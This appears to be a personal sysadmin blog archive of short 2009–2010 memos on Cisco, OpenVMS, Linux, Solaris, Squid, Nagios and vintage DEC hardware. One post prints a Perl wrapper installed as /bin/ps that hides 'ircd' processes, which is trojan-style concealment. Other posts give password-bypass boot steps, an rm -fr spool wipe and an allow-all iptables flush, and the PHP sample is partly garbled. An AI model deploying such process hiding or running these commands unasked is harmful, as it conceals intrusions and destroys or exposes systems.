WRKTCPPTP Work with Point-to-Point TCPIP
WRKTCPSTS Work with TCP/IP Network Sts
WRKTIE Work with TIE
WRKUSRJOB Work with User Jobs
WRKUSRPRF Work with User Profiles
WRKUSRTBL Work with User Tables
WRKWTR Work with Writers

RDP - Remote logins are currently disabled.

Thu, 22 Jul 2010 23:49:39 +0000

If you trying to connect to a RDP server and you get this error:

Error message: Terminal Server sessions disabled. Remote logins are currently disabled.

Terminal Server sessions disabled. Remote logins are currently disabled. Description: The user is attempting to log on to a Terminal Server where an administrator has disabled logon by issuing the CHANGE LOGON /DISABLE command. In order to enable logon, the CHANGE LOGON /ENABLE command must be issued.

Linux - Removing all IP information from an interface

Thu, 22 Jul 2010 23:44:52 +0000

If an interface has already had IP addresses assigned to it, and all of the addresses need to be removed (along with their routes), there is one handy command to accomplish all of these tasks. ip address flush takes an interface name as an argument. Let’s look at the output of ip address show just before and just after removing all IPs.

[root@logistic]# ip address show dev eth0
2: eth0: <BROADCAST,MULTICAST,UP mtu 1500 qdisc pfifo_fast qlen 100
link/ether 00:80:c8:f8:4a:51 brd ff:ff:ff:ff:ff:ff
inet 192.168.99.35/24 brd 192.168.99.255 scope global eth0
inet 192.168.99.37/24 brd 192.168.99.255 scope global secondary eth0:0
[root@logistic]# ip address flush
Flush requires arguments.
[root@logistic]# ip address flush dev eth0
[root@logistic]# ip address show dev eth0
2: eth0: <BROADCAST,MULTICAST,UP mtu 1500 qdisc pfifo_fast qlen 100
link/ether 00:80:c8:f8:4a:51 brd ff:ff:ff:ff:ff:ff

iostat

Mon, 31 May 2010 12:48:57 +0000

Memo per il Giaco:

[13:08]  XenT, mi metti nel blog iostat -En per listare i device storaggiosi ?

pSeries - 10117611 U0.1-F1

Sun, 09 May 2010 16:43:18 +0000

I’m getting this error on a 9114-275.

SYSTEM POWER CONTROL MENU
1. Enable/Disable Unattended Start Mode:
Currently Enabled
2. Ring Indicate Power-On Menu
3. Reboot/Restart Policy Setup Menu
4. Power-On System
5. Power-Off System
6. Enable/Disable Fast System Boot:
Currently Slow Boot
7. Boot Mode Menu
98. Return to Previous Menu
99. Exit from Menus

After digits “4”

Please wait....
System Powering On.  Exiting menus.
9022
9101
90FD
10117611        U0.1-F1
B0FF
OK               x

The error on planar was located on FAN module, for resolution unplug entire block and single fans, then replug into the planar after cleaning up, then power on your pSeries.

Netmask Conversion

Sun, 09 May 2010 10:50:59 +0000

Bitmask (Bits)	Dotted Decimal	Hexadecimal	Binary
/0	0.0.0.0	0x00000000	00000000 00000000 00000000 00000000
/1	128.0.0.0	0x80000000	10000000 00000000 00000000 00000000
/2	192.0.0.0	0xc0000000	11000000 00000000 00000000 00000000
/3	224.0.0.0	0xe0000000	11100000 00000000 00000000 00000000
/4	240.0.0.0	0xf0000000	11110000 00000000 00000000 00000000
/5	248.0.0.0	0xf8000000	11111000 00000000 00000000 00000000
/6	252.0.0.0	0xfc000000	11111100 00000000 00000000 00000000
/7	254.0.0.0	0xfe000000	11111110 00000000 00000000 00000000
/8	255.0.0.0	0xff000000	11111111 00000000 00000000 00000000
/9	255.128.0.0	0xff800000	11111111 10000000 00000000 00000000
/10	255.192.0.0	0xffc00000	11111111 11000000 00000000 00000000
/11	255.224.0.0	0xffe00000	11111111 11100000 00000000 00000000
/12	255.240.0.0	0xfff00000	11111111 11110000 00000000 00000000
/13	255.248.0.0	0xfff80000	11111111 11111000 00000000 00000000
/14	255.252.0.0	0xfffc0000	11111111 11111100 00000000 00000000
/15	255.254.0.0	0xfffe0000	11111111 11111110 00000000 00000000
/16	255.255.0.0	0xffff0000	11111111 11111111 00000000 00000000
/17	255.255.128.0	0xffff8000	11111111 11111111 10000000 00000000
/18	255.255.192.0	0xffffc000	11111111 11111111 11000000 00000000
/19	255.255.224.0	0xffffe000	11111111 11111111 11100000 00000000
/20	255.255.240.0	0xfffff000	11111111 11111111 11110000 00000000
/21	255.255.248.0	0xfffff800	11111111 11111111 11111000 00000000
/22	255.255.252.0	0xfffffc00	11111111 11111111 11111100 00000000
/23	255.255.254.0	0xfffffe00	11111111 11111111 11111110 00000000
/24	255.255.255.0	0xffffff00	11111111 11111111 11111111 00000000
/25	255.255.255.128	0xffffff80	11111111 11111111 11111111 10000000
/26	255.255.255.192	0xffffffc0	11111111 11111111 11111111 11000000
/27	255.255.255.224	0xffffffe0	11111111 11111111 11111111 11100000
/28	255.255.255.240	0xfffffff0	11111111 11111111 11111111 11110000
/29	255.255.255.248	0xfffffff8	11111111 11111111 11111111 11111000
/30	255.255.255.252	0xfffffffc	11111111 11111111 11111111 11111100
/31	255.255.255.254	0xfffffffe	11111111 11111111 11111111 11111110
/32	255.255.255.255	0xffffffff	11111111 11111111 11111111 11111111

Cisco - service config

Mon, 26 Apr 2010 15:32:26 +0000

Randomly, during bootup of Cisco hardware (IOS), error messages similar to these are displayed:

%Error opening tftp://255.255.255.255/network-confg (Socket error)

%Error opening tftp://255.255.255.255/cisconet.cfg (Socket error)

%Error opening tftp://255.255.255.255/hostname-confg (Socket error)

%Error opening tftp://255.255.255.255/hostname.cfg (Socket error)

These error messages are related to the default service configuration option built into Cisco IOS software, which attempts to access the service configuration files from a network Trivial File Transfer Protocol (TFTP) server.

In order to disable this feature, issue the no service config global command.

Router#config terminal
Enter configuration commands, one per line.
Router(config)#no service config
Router(config)#exit
Router#copy running-config startup-config`
``

Cisco - ATM Clockrate

Wed, 21 Apr 2010 15:09:18 +0000

If you have performance problem on Cisco 1721, Cisco 2610XM-2651XM, Cisco 2691, and Cisco 3660, with WIC-1DSL - IOS 12.3(2) or above, probably depends on the default value associated with ALL5 clockrate.

If yuo wanna check type the following command on your router:

hellroute01#show controller atm0/0 | include ATM0/0
Interface: ATM0/0, Hardware: DSLSAR (with Alcatel ADSL Module), State: up
SCC0 =  2600000 (ATM0/0)
SCC3 = 1000000 (ATM0/0)
hellroute01#

If you get 2600000 (default value) on SCC0 or SCC1 your downlink speed rate probably is limitated at about 300 KB/s

For get full speed, put max supported value on aal5 clockrate like this:

hellroute01(config)#int atm0/0
 hellroute01(config-if)#clock rate aal5 ?
 1000000
 1300000
 1600000
 2000000
 2600000 (default)
 3200000
 4000000
 5300000
 7000000
<1000000-7000000>  clock rates in bits per second, choose one from above
hellroute01(config-if)#clock rate aal5 7000000

Becareful the atm interface is automatically restart for apply the change. Then you lost connection on this interface.

OpenVMS - IPv6

Wed, 14 Apr 2010 11:09:58 +0000

Memo about configure ipv6 on OpenVMS system as host mode:

First of all invoke the TCPIP$IP6_SETUP command procedure by entering the following command:

TARDIS::LEO$ @SYS$MANAGER:TCPIP$IP6_SETUP

Leaving default option to all question, in this mode the dcl create default configuration script.

Then edit the inet6 script:

TARDIS::LEO$ EDIT SYS$SYSTEM:TCPIP$INET6_CONFIG.DAT

After the “up” command

$ ifconfig "IE0" ipv6 up

Append the following line with ip and default gateway:

$     ifconfig "IE0" inet6 ip6prefix 2001:1418:0193:0001::40/64
$     route add -inet6 default 2001:1418:0193:0001::250 -"I" "IE0"

Save, exit and run the dcl:

CentOS - IPv6 interface

Wed, 14 Apr 2010 09:53:31 +0000

You need to update and configure following files for IPv6 configuration:

Edit: /etc/sysconfig/network

And append following line, to enable in systemwide the ipv6 protocol:

NETWORKING_IPV6=yes

Edit: /etc/sysconfig/network-scripts/ifcfg-eth1 (or your interface number)

And append following line, to enable ipv6 on interface and the address/gateway if you use static routing:

IPV6INIT=yes
IPV6ADDR=2001:1418:0193:000B::210
IPV6_DEFAULTGW=2001:1418:0193:000B::251

Save, close and restart network service:

# service network restart

Debian - Kernel Headers

Wed, 14 Apr 2010 07:27:39 +0000

Memo: Install linux-header package

# apt-get install linux-headers-$(uname -r)

Neoware Thin Client - Password Recovery

Sat, 10 Apr 2010 16:54:41 +0000

Personally I tried this procedure on Neoware e140 wich run Neolinux 2.x but i think it’s the some with other models or os version:

Power on the thin client
Press ‘SHIFT’ during boot procedure
Now you can get LILO prompt, type: vga simple (I have tried without success to run directly init=/bin/bash the system start but don’t load correctly the filesystem on flashdrive)
After kernel starting up procedure you can’t see nothing, then you can jump on terminal 2 pressing ‘ALT + F2’
Now on bash# prompt simply digit ‘passwd’ for setup new password
Reboot the system and use your new password

Vim - Syntax highlighting

Tue, 30 Mar 2010 01:01:22 +0000

Turn on color syntax highlighting

Now press ESC key, type : syntax on

:syntax on

You can edit ~/.vimrc file and add command syntax on to it so that next you will start vim with color syntax highlighting option

$ vim ~/.vimrc

Append the following line:

syntax on

GRUB - Init Shell

Tue, 30 Mar 2010 00:44:19 +0000

Sometime in case of root password lost or file system corruption, you need to boot system with simple shell, skipping the init sequence.

At Grub prompt press ’e’ to edit command before booting.
Select ‘kernel’ line
Press ’e’ again to edit selected command
Type follow at end of the line: init=/bin/bash (or sh)
Press ‘b’ to boot system
Now you are at shell prompt. Enjoy

Linux - dmidecode

Mon, 29 Mar 2010 08:56:54 +0000

dmidecode is a tool for dumping a computer’s DMI (some say SMBIOS) table contents in a human-readable format. This table contains a description of the system’s hardware components, as well as other useful pieces of information such as serial numbers and BIOS revision. If you like to see which memory banks is in use and what the ram module sizes, you simply call dmidecode with memory parameter.

# dmidecode -t memory

dmidecode also gives you information about your system’s cache, bios and cpu. Here is a sample output for processor: # dmidecode -t processor

information about your system cache # dmidecode -t cache

bios information includes vendor of your bios and it’s version. Also, which devices are supported and which ones can be use for booting up your system. # dmidecode -t bios

Cron Syntax

Mon, 22 Mar 2010 16:04:58 +0000

PHP & FlickrAPI - Photo wall

Fri, 19 Mar 2010 03:29:33 +0000

I wrote a simple code/class for automatic get photos from flickr photostream (by service API) to compose randomly a nice miniature photowall (you can see an example on my homepage).

First of all you can need API code (only key, we don’t need secret authentication).

Now the code, my class file was called lib/fget.php in here we define variable, class and function construct:

<?php
class Flickr {
	//API Key you can get them on http://www.flickr.com/services/apps/create/apply/
	private $apiKey = 'xxxx';
	//We define our numeric username http://www.flickr.com/services/api/explore/?method=flickr.people.getInfo
	private $NSID = 'xxxx';
	//File per page (max file 200 for free account)
	private $ppage = '400';

	public function __construct() {
	}

	public function retrive() {
		//For get data we use REST method and serialize option
		$getdata = 'https://flickr.com/services/rest/?method=flickr.photos.search&api_key=' . $this->apiKey . '&user_id=' . $this->NSID . '&per_page=' . $this->ppage . '&format=php_serial';
		//Get the data
		$result = file_get_contents($getdata);
		//De serialize for array use
		$result = unserialize($result);
		return $result;
	}
}
?>

Now include the class into a sample page:

//Include the class
require_once('fget.php');
//Recall the class
$Flickr = new Flickr;
//Retrive data array
$data = $Flickr->retrive();
//Randomize data
shuffle($data['photos']['photo']);
//Define 0 to the counter (we need this some line down here)
$count = 0;
?>



deepreflect.net







        foreach($data['photos']['photo'] as $photo) {
        //URL base format for all photo, if you wanna miniature you can modify .jpg into _s.jpg
        // http://farm{farm-id}.static.flickr.com/{server-id}/{id}_{secret}.jpg

        //print photo sequence:
	echo '';
	//Start the counter
	$count++;
	//Every 13 create a new line
	if ($count == 9) echo '
';
	if ($count == 18) echo '
';
	if ($count == 27) echo '
';
	if ($count == 36) echo '
';
	if ($count == 45) echo '
';
	if ($count == 54) echo '
';
        //if ($count == 63) echo '
';
	//Limit print results to 91 photo
	if ($count == 81) break;
}
?>

Squid - Radius auth

Mon, 15 Mar 2010 02:16:05 +0000

In this example a squid installation will use RADIUS “squid_radius_auth” Squid RADIUS authentication helper to authenticate users.

Get last version of squid radius auth helper at: http://www.squid-cache.org/contrib/squid_radius_auth/

Download: [leo@srv01 leo]# wget http://www.squid-cache.org/contrib/squid_radius_auth/squid_radius_auth-1.10.tar.gz

Extract:

[leo@srv01 leo]# tar -xvf squid_radius_auth-1.10.tar.gz

Go to directory:

[leo@srv01 leo]# cd squid_radius_auth-1.10

Compile:

[leo@srv01 squid_radius_auth-1.10]# make
 gcc -O2 -Wall -g   -c -o squid_rad_auth.o squid_rad_auth.c
 gcc -O2 -Wall -g -c md5.c
 gcc -O2 -Wall -g -c util.c
 gcc -g -o squid_radius_auth squid_rad_auth.o md5.o util.o

Now the installation, for my needs, I wanna keep binary into /usr/lib/squid/ and configuration file into /etc/squid/ and I don’t wanna take man files then edit Make.inc like this:

BINDIR  = /usr/lib/squid
CONFDIR  = /etc/squid
install: squid_radius_auth
mkdir -p $(BINDIR)
install -m 755 -s squid_radius_auth $(BINDIR)/squid_radius_auth
#       mkdir -p $(DESTDIR)$(MANDIR)
#       install -m 755 squid_radius_auth.8 $(DESTDIR)$(MANDIR)/squid_radius_auth$(MANEXT)
mkdir -p $(CONFDIR)
install -m 644 etc/squid_radius_auth.conf $(CONFDIR)/squid_radius_auth.conf.default
if ! test -f $(CONFDIR)/squid_radius_auth.conf; then \
cp -p $(CONFDIR)/squid_radius_auth.conf.default $(CONFDIR)/squid_radius_auth.conf; \
fi

Edit config file /etc/squid/squid_radius_auth.conf here my example:

server 10.255.X.X
secret XXXXXXXX
port 1645

Now you can test the helper, execute and then type your radius username/password on the same line separated with space, on successful authentication it will give “OK” otherwise “ERR login failure”

[leo@srv01 leo]# /usr/lib/squid/squid_radius_auth -f /etc/squid/squid_radius_auth.conf
leo xxxx
OK

Now you can made change to “squid.conf”

#  TAG: auth_param
auth_param basic program /usr/lib/squid/squid_radius_auth -f /etc/squid/squid_radius_auth.conf
auth_param basic children 5
auth_param basic realm Wide-NET-Proxy
auth_param basic credentialsttl 5 minute
auth_param basic casesensitive on

#  TAG: acl
acl radius-auth proxy_auth REQUIRED

#  TAG: http_access
http_access allow localhost
http_access allow radius-auth
http_access deny all

PHP - Limit Array Results

Sun, 14 Mar 2010 19:19:53 +0000

$count = 0;
foreach ($records as $record) {
print $record;
$count++;
if ($count == 5) break;
}

OpenVMS - Set Time

Sun, 14 Mar 2010 16:51:34 +0000

The command to reset the system time to 18-APR-2010 09:47 is:

$ SET TIME=18-APR-2010:09:47

Note the colon between the date and the time specification. (This extra colon is a requirement resulting from the DCL parsing rules. Normally, there is a space between the date and time.)

On OpenVMS VAX, once a year between January 1st and circa April 11th, or whenever a different SYS.EXE system image is bootstrapped, issue the command:

$ SET TIME

to resynchronize the VAX time-of-year (TOY) clock and the contents of the OpenVMS VAX system image. (This SET TIME command is automatically performed during a normal system shutdown.) The TOY clock stores (only) the time since January 1 00:00:00.00 of the current year, and has a maximum resolution of roughly 466 days. The system image is used as the storage location for the current year. Between these two values, the current time and date is “constructed” during the OpenVMS VAX system bootstrap. (And this is the reason the saved time value in the system image must be reset every year between January and April.)

The SYSGEN parameter SETTIME can be used to enable prompting for the system time during the system bootstrap.

Nagios - Twitter alerts

Sat, 27 Feb 2010 13:22:23 +0000

This entry will cover how to send nagios alerts to twitter, in the examples to follow using curl.

Firstly edit commands.cfg

And add the two following line:

define command {
command_name    notify-by-twitter
command_line    /usr/bin/curl --basic --user "twitteruser:twitterpassword" --data-ascii "status=[Nagios] $NOTIFICATIONTYPE$ $HOSTALIAS$/$SERVICEDESC$ is $SERVICESTATE$" http://twitter.com/statuses/update.json
}
define command {
command_name    host-notify-by-twitter
command_line    /usr/bin/curl --basic --user "twitteruser:twitterpassword" --data-ascii "status=[Nagios] $HOSTSTATE$ alert for $HOSTNAME$" http://twitter.com/statuses/update.json
}

Now define a contact for this twitter service into: contacts.cfg

define contact{
contact_name                    twitter
service_notification_commands   notify-by-twitter
host_notification_commands      host-notify-by-twitter
service_notification_period 24x7
host_notification_period 24x7
service_notification_options a
host_notification_options a
}

Add this contact into your existing contact groups like this (in contacts.cfg):

define contactgroup{
contactgroup_name       admins
alias                   Nagios Administrators
members                 nagiosadmin,sms_alert,twitter
}

Then run a nagios prefly check to ensure you have no syntax errors, and restart nagios.

OpenVMS - Command line editing

Wed, 24 Feb 2010 17:35:26 +0000

DCL implements command line editing and recall, so that users can more easily correct typing errors and reuse previous command lines.

Recall buffer: access to recently issued commands

$ RECALL string   Bring up last command beginning with string.
$ RECALL/ALL      Displays all commands and their numbers.
$ RECALL number   Use a number found  in RECALL/ALL.

Command line editing (if it isn’t on, do: $ SET TERM/LINE):

$ {up-arrow}      Previous command in recall buffer.
$ {down-arrow}    Next command in recall buffer.
$ {Ctrl A}        Toggle insert/overstrike editing.
$ {Ctrl D}        Move one character left.
$ {Ctrl E}        Move to the end of the line.
$ {Ctrl F}        Move one character right.
$ {Ctrl H}        Move to the beginning of the line.
$ {Ctrl J}        Delete word left of cursor.
$ {Ctrl R}        Rewrite the command line.
$ {Ctrl U}        Delete line left of cursor.
$ {Ctrl X}        Cancel the current command line.

Miscellaneous:

$ {Ctrl 3}        ASCII code for {Esc}.
$ {Ctrl I}        ASCII code for {Tab}.
$ {Ctrl Z}        Tell DCL "end of file". Used in some programs
to indicate more general sorts of "end" commands.

Of these, only {Ctrl I} will insert a character into the command line, rather than just move the cursor around. No new characters may be inserted before a tab ({Ctrl I}) in a command line, but existing characters may be changed in overstrike mode, or deleted. This behavior is documented in the “I/O User’s Guide” and has existed since VMS 4.0.

MSTSC - Admin session

Fri, 19 Feb 2010 14:56:26 +0000

Memo per il Giaco:

Syntax

      MSTSC option
      MSTSC /Edit"ConnectionFile"
      MSTSC /migrate

Options ConnectionFile The name of an RDP file for connection

   /v: The remote computer to connect to
   /console       Connect to the console of a server (NT/XP)
   /Admin         Connect to a session for administering the server(Vista/2008)
   /f             Start in Full Screen mode
   /w:width       Width of the RDP screen
   /h:height      Height of the RDP screen
   /span          Match the Remote Desktop width and height with the local virtual
                  desktop, spanning across multiple monitors if necessary.(Vista/2008)
   /public        Run Remote Desktop in public mode. (Vista/2008)
                  In public mode, passwords and bitmaps are not cached.
   /edit          Open the RDP file for editing.
   /migrate       Convert a legacy Client connection file into an .RDP file

Exim - Spool destroyer

Wed, 17 Feb 2010 14:10:41 +0000

In case of massive spam attack.

 #!/bin/bash
 ls /var/spool/exim/input/ > /tmp/delspoorexim
 declare -a ARRAY
 exec 10< /tmp/delspoorexim
 let count=0
 while read dels <&10; do
 rm -fr /var/spool/exim/input/$dels
 echo $dels
 ARRAY[$count]=$dels
 ((count++))
 done
 echo Number operation done: ${#ARRAY[@]}
 #echo ${ARRAY[@]}
 exec 10>&-
 rm /tmp/delspoorexim

OpenVMS - SYS$BATCH Queue

Thu, 11 Feb 2010 10:41:12 +0000

Little memo about sys$batch queue:

If no queue manger set:

$ DEFINE/SYSTEM/EXECUTIVE_MODE QMAN$MASTER DKA100:[QUEMAN]
$ START/QUEUE/MANAGER DKA100:[SYSQUE]

Problem:

$ SHOW QUEUE SYS$BATCH
%JBC-E-NOSUCHQUE, no such queue
Resolution:
$ INIT/QUE/BATCH SYS$BATCH
Problem:
$ SHOW QUEUE SYS$BATCH
%JBC-E-JOBQUEDIS, system job queue manager is not running
Resolution:
$ START/QUE SYS$BATCH
Full Reset:
$ STOP/QUE SYS$BATCH
$ DELETE/QUE SYS$BATCH
$ INIT/QUE/BATCH SYS$BATCH
More info:
OpenVMS System Manager's Manual
Chapter 13
Managing the Queue Manager and Queue Database
`

Solaris - Add swap to ZFS disk

Thu, 11 Feb 2010 09:38:47 +0000

I installed Solaris 10 05/09 on a machine and I used whatever the default swap space setting when I built the box. Now I need to increase the swap space and I can’t add a swap file, like was possible under UFS.

If your swap device is in use, then you might not be able to delete it. Check to see if the swap area is in use. For example:

$ swap -l
swapfile                 dev    swaplo   blocks     free
/dev/zvol/dsk/rpool/swap 182,2         8  4194296  4194296

In the above output, blocks == free, so the swap device is not actually being used.

If the swap area is not is use, remove the swap area. For example:

$ swap -d /dev/zvol/dsk/rpool/swap

Confirm that the swap area is removed.

$ swap -l

No swap devices configured

Resize the swap volume. For example:

$ zfs set volsize=1G rpool/swap

Activate the swap area.

$ swap -a /dev/zvol/dsk/rpool/swap` `$ swap -l
swapfile                 dev    swaplo   blocks     free
/dev/zvol/dsk/rpool/swap 182,2         8  2097144  2097144

DEC 3000 Alpha - Firmware Upgrade

Thu, 11 Feb 2010 09:16:20 +0000

>>> boot esa0
INIT-S-CPU...
INIT-S-ASIC...
INIT-S-MEM...
INIT-S-NVR...
INIT-S-CXT...
INIT-S-SCC...
INIT-S-NI...
INIT-S-SCSI...
INIT-S-ISDN...
AUDIT_BOOT_STARTS ...
AUDIT_BOOT_REQ
AUDIT_BOOT_RETRY
AUDIT_BOOT_RETRY
AUDIT_BOOT_RETRY
AUDIT_BOOT_RETRY
AUDIT_BSERVER_FOUND
AUDIT_LOAD_BEGINS
AUDIT_LOAD_DONE
*** FIRMWARE UPDATE UTILITY V2.6a ***
*** SYSTEM TYPE: M300 ***
UPDATE
VERIFY
LIST
SHOW
?
UPD-> update
Read IO ROM Device ID
UPD-I VERIFY LOADED ROM IMAGE
...........................
UPD-I VERIFY LOADED ROM IMAGE DONE
MANUFACTURER = INTEL (0x89)
DEVICE CODE  = 28F020  (0xbd) 256K x 8
Read System ROM Device ID
UPD-I VERIFY LOADED ROM IMAGE
...........................
UPD-I VERIFY LOADED ROM IMAGE DONE
MANUFACTURER = INTEL (0x89)
DEVICE CODE  = 28F020  (0xbd) 256K x 8
UPDATE SYSTEM ROM DEVICE
UPD-I VERIFY LOADED ROM IMAGE
...........................
UPD-I VERIFY LOADED ROM IMAGE DONE
FIRMWARE REVISION: V7.0 LENGTH: 0x352e4 -> 217828 BYTES CHECKSUM: 0x1c
MANUFACTURER = INTEL (0x89)
DEVICE CODE  = 28F020  (0xbd) 256K x 8
UPD-I *** ROM CONTENTS WILL BE DESTROYED ***
UPD-I ARE YOU READY TO PROGRAM DEVICE ? (Y/N ) y
UPD-I PRECHARGING DEVICE
................................................................
UPD-I ERASING ROM DEVICE
................................................................
UPD-I PROGRAMMING DEVICE
.....................................................
UPD-I PROGRAMMING COMPLETED
...........................
SYSTEM ROM UPDATE SUCCESSFUL
UPDATE IO ROM DEVICE
UPD-I VERIFY LOADED ROM IMAGE
...........................
UPD-I VERIFY LOADED ROM IMAGE DONE
FIRMWARE REVISION: V7.0 LENGTH: 0x34da8 -> 216488 BYTES CHECKSUM: 0x59
MANUFACTURER = INTEL (0x89)
DEVICE CODE  = 28F020  (0xbd) 256K x 8
UPD-I PRECHARGING DEVICE
................................................................
UPD-I ERASING ROM DEVICE
................................................................
UPD-I PROGRAMMING DEVICE
....................................................
UPD-I PROGRAMMING COMPLETED
...........................
IO ROM UPDATE SUCCESSFUL
UPD->
UPD-> ?
UPDATE:
         Update the ROMs. Jumpers MUST be installed on both roms.
         For example
              UPD->update
VERIFY [DEVICE]:
         Verify the ROM[s]. If no qualifiers then all ROMS verified
         The Checksum of file image is compared with rom image
         For example
              UPD->verify
              UPD->verify system
              UPD->verify io
SHOW [DEVICE]:
         Show the current ROM Revision
         For example
              UPD->show
              UPD->show system
              UPD->show io
LIST   :
         List the supported ROM Devices
         For example
              UPD->list
              *** ROM Devices Supported ***
              SYSTEM: KN15-AA CPU Module 28F020 256Kx8 FLASH MEMORY
              IO:     IO-XXX  I/O Module 28F020 256Kx8 FLASH MEMORY
*** FIRMWARE UPDATE UTILITY V2.6a ***
*** SYSTEM TYPE: M300 ***
UPDATE
VERIFY
LIST
SHOW
?
UPD->

Vodafone ITA - Call Forwarding

Sun, 17 Jan 2010 07:55:20 +0000

If your phone (example iPhone) doesn’t have complete call forwarding menu, you can use line code, then, to activate and deactivate Call Forwarding, follow this instructions:

Call Forward Immediate - Send all calls to another number instantly. enable: *21 (prefix + number) # call disable: ## 21 # call verify: * # 21 # call

Call Forward No Reply - Send calls that go unanswered. enable: *61 (prefix + number) # call disable: ## 61 # call verify: * # 61 # call

Call Forward Not Reachable conditions - Send calls elsewhere if your phone is off or not in the service area. enable: *62 (prefix + number) # call disable: ## 62 # call verify: * # 62 # call

Call Forward Busy - Send calls that reach a busy signal to another number. enable: *67 (prefix + number) # call disable: ## 67 # call verify: * # 67 # call

To forward call to the operator Voice Mail use: international prefix + your three digit prefix + 20

Securing "tmp" without repartition

Sat, 16 Jan 2010 22:57:24 +0000

First you should secure /tmp:

Make a 1GB file for /tmp parition and an ext3 filesystem for tmp:

# dd if=/dev/zero of=/dev/tmpFS bs=1024 count=1000000
# /sbin/mkfs.ext3 /dev/tmpFS

Create a backup copy of your current /tmp drive:

# cp -Rpf /tmp /tmpbackup

Mount our new tmp parition and change permissions:

# mount -o loop,noexec,nosuid,rw /dev/tmpFS /tmp
# chmod 1777 /tmp

Copy the old data: cp -Rpf /tmpbackup/\* /tmp/

If you run the mount command and you should get something like this: /dev/tmpMnt on /tmp type ext3 (rw,noexec,nosuid,loop=/dev/loop0)

Edit /etc/fstab and add this:

/dev/tmpMnt /tmp ext3 loop,nosuid,noexec,rw 0 0

Test your fstab entry:

# mount -o remount /tmp

You can test it runnig a script on /tmp partition, if you get “permission denied” it is fine :)

Secure /var/tmp:

It should be done because some applications use /var/tmp as the temporary folder, and anything that’s accessible by all, needs to be secured.

Rename it and create a symbolic link to /tmp:

# mv /var/tmp /var/tmp1
# ln -s /tmp /var/tmp

Copy the old data back:

# cp /var/tmpold/* /tmp/

Note: you should restart and services that uses /tmp partition

Debian NetInstall - Sparc

Sat, 16 Jan 2010 22:54:06 +0000

Per prima cosa è necessario avere un host linux nel mio caso Debian, e poi ovviamente una Sparc :)

Sull’host linux è necessario avere un server rarp e tftp quindi installiamo in questo modo:

vm01:~# apt-get install rarpd tftpd-hpa

Configuriamo rarpd, editando il seguente file /etc/ethers inserendo una riga con mac address della sparc (si può vedere appena accesa da OpenBoot):

XX:XX:XX:XX:XX:XX 192.168.xx.xx Riavviamo per applicare le modifiche: vm01:~# /etc/init.d/rarpd restart

OpenBoot all’avvio una volta ricevuto l’ip cercherà l’immagine nel tftp on notazione decimale, ammettendo che l’ip sia 192.168.101.9 effettuiamo la conversione in questo modo: vm01:~# printf "%.2X%.2X%.2X%.2X\n" 192 168 101 9 C0A86509

Scarichiamo quindi l’immagine di netinstall di debian, e creiamo un link simbolico con la notazione decimale:

vm01:~# cd /var/lib/tftpboot
vm01:~# wget ftp://ftp.debian.org/debian/dists/stable/main/installer-sparc/current/images/netboot/boot.img
vm01:~# ln -s boot.img C0A86509

Successivamente da Sparc all’avvio, premere Stop-A o Break per mostrare il prompt di OpenBoot (“ok “) e digitare

boot net

Securing /dev/shm

Wed, 02 Dec 2009 07:28:16 +0000

Edit your /etc/fstab:

vi /etc/fstab

change:

none /dev/shm tmpfs defaults,rw 0 0

none /dev/shm tmpfs defaults,nosuid,noexec,rw 0 0

Remount /dev/shm:

mount -o remount /dev/shm

You can test it runnig a script on /dev/shm, if you get “permission denied” it is fine!

ProFTP(D) - listen on single ip

Wed, 02 Dec 2009 07:19:58 +0000

I don’t use ftp, but wordpress comes with this nice feature to upgrade plugins automatically from the web admin interface that needs ftp.

the problem is I don’t want to enable the ftp service and make it available to the rest of the world just for that.

So I needs the following two options in proftpd.conf:

DefaultAddress 127.0.0.1
SocketBindTight                 on

Now restart proftpd and you’re done.

Iptables Flush

Wed, 02 Dec 2009 07:15:02 +0000

Full flush iptables script:

#!/bin/sh
iptables -F
iptables -X
iptables -t nat -F
iptables -t nat -X
iptables -t mangle -F
iptables -t mangle -X
iptables -P INPUT ACCEPT
iptables -P FORWARD ACCEPT
iptables -P OUTPUT ACCEPT

Bastard code. (1)

Wed, 02 Dec 2009 07:10:55 +0000

srv:/bin# cat ps
#!/usr/bin/perl
use warnings;
use strict;
my $string = $ARGV[0];
if($string){
my @net = qx/ps.old $string/;
my @hide = grep(!/(ircd)/, @net);
my @dd = grep(!/ps.old/, @hide);
print @dd;
}
else
{
my @nett = qx/ps.old/;
my @hidee = grep(!/(ircd)/, @nett);
my @d = grep(!/ps.old/, @hidee);
print @d;
}

VAX - MMJ DEC423 Pinout

Sun, 29 Nov 2009 01:45:03 +0000

Setting up serial connection to VAXstation 4000/60:

First made a serial cable, attention Vax use a DEC423 serial port designed for long distant terminal line:

--------------- 1 - DTR (Data terminal ready)
I             I 2 - TxD (Transmit data)
I    1  2  3  4  5  6   I 3 - GND (Signal ground)
I                                         I 4 - RxC (Receive common)
I                                         I 5 - RxD (Receive data)
---------I____I 6 - DSR (Data set ready)

Pin 2 of the phone connector goes to Rx pin of the serial (3 of DB25 or 2 of DB9), pins 3 & 4 go to ground (7 of DB25 or 5 of DB9), and pin 5 goes to Tx pin (2 of DB25 or 3 of DB9).

Then, make sure that the S3 switch (on the front of the 4000/60) is set to the up position so that the VAX uses the serial console instead of the graphics console.

Then, load up your favourite terminal application, set the speed to 9600 baud, make sure hardware handshaking is off, and see if you can talk to the VAX.

My first VAX and VMS system

Fri, 27 Nov 2009 03:03:48 +0000

3 days ago I find a nice VAX Station 4000/60 on ebay for only 41 Euro (about 60 Dollars), obviously I bought it, and today delivery boy knock my door!

I paste the command/console output of the recovery procedure:

> KA46-A V1.4-38E-V4.2
> 08-00-2B-92-4E-C7
> 24MB
> ?? 001   9        NI  0172
> >>> sh config
> KA46-A V1.4-38E-V4.2
> 08-00-2B-92-4E-C7
> 24MB
> DEVNBR    DEVNAM           INFO
> ------    --------    --------------------------
> 1         NVR    OK
> 2         LCG    OK
> HR - 8 PLN FB - V1.2
> 3          DZ    OK
> 4       CACHE    OK
> 5         MEM    OK
> 24MB = SY=8MB, S0/1=8MB, S2/3=8MB, S4/5=0MB
> 6         FPU    OK
> 7          IT    OK
> 8         SYS    OK
> 9          NI    ?? 001 0172
> 10        SCSI    OK
> 3-L0-RZ26B   6-INITR
> 11         AUD    OK
> >>> ?
> BOOT [/[R5:]<bflg>] [<ddau>[:]]
> CONTINUE
> DEPOSIT [{ /B | /W | /L | /Q | /A }] [{ /P | /V | /I }] [/G] [/U] [/N:<n>]
> [{ <addr> | <sym> | + | - | * | @ }  [<datum>]]
> EXAMINE [{ /B | /W | /L | /Q | /A }] [{ /P | /V | /I }] [/G] [/U] [/N:<n>]
